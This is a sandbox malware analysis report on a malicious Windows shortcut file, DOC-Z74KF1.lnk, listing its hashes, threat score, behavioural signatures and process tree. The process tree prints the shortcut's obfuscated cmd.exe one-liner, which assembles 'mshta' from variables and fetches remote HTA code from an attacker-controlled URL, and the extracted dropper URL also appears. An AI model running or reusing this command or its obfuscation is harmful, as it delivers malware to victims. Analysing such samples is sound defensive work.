Analysis
- max time kernel
60s - max time network
23s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
22/08/2026, 04:42
Static task
static1
Behavioral task
behavioral1
Sample
DOC-Z74KF1.lnk
Resource
win10v2004-20260513-en
4 signatures
60 seconds
Behavioral task
behavioral2
Sample
DOC-Z74KF1.lnk
Resource
win11ltsc2024-20260709-en
3 signatures
60 seconds
General
- Target DOC-Z74KF1.lnk
- Size 1KB
- Sample260822-fbv62aeb78
- SHA256 260ddf6ef2bfe0b66ab4229cd906004263231bf1427353da0b5f450f64ff4769
- MD5 3aef81204e888a800a72ce1bc19712e3
- SHA1 0026cd4ba74dfb6427a0aedef83f41dca961d946
- SHA512 73b2024cd9b9688aa57eb97056b9d0da4cd46e942679ff8ab48a4d3d6173f649a0763ca8ea325cce5ca3c98d078c4db21c7063628735e0a6e3e29399b4bc3a77
- TLSH T1873197403FED0628F3B38E7384BB5B2886BBB8958E20CA2D0081450C5432B15E17AF67
- MD5 SHA1 SHA512 TLSH
Score
10/10
Malware Config
Extracted
Language
-
hta
Source
URLs
-
hta.dropper
https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB
Signatures
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 2880 cmd.exe 4084 cmd.exe - Suspicious use of WriteProcessMemory 2 IoCs
description pid Process procid_target PID 2880 wrote to memory of 4084 2880 cmd.exe 90 PID 4084 wrote to memory of 3308 4084 cmd.exe 91
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\DOC-Z74KF1.lnk1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2880 -
C:\WINDOWS\system32\cmd.exe"C:\WINDOWS\system32\cmd.exe" /v:on /C "set Yd=msh&&set dPNMv=ta&&start "" !Yd!!dPNMv! https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4084 -
C:\Windows\System32\mshta.exemshta https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB3⤵PID:3308
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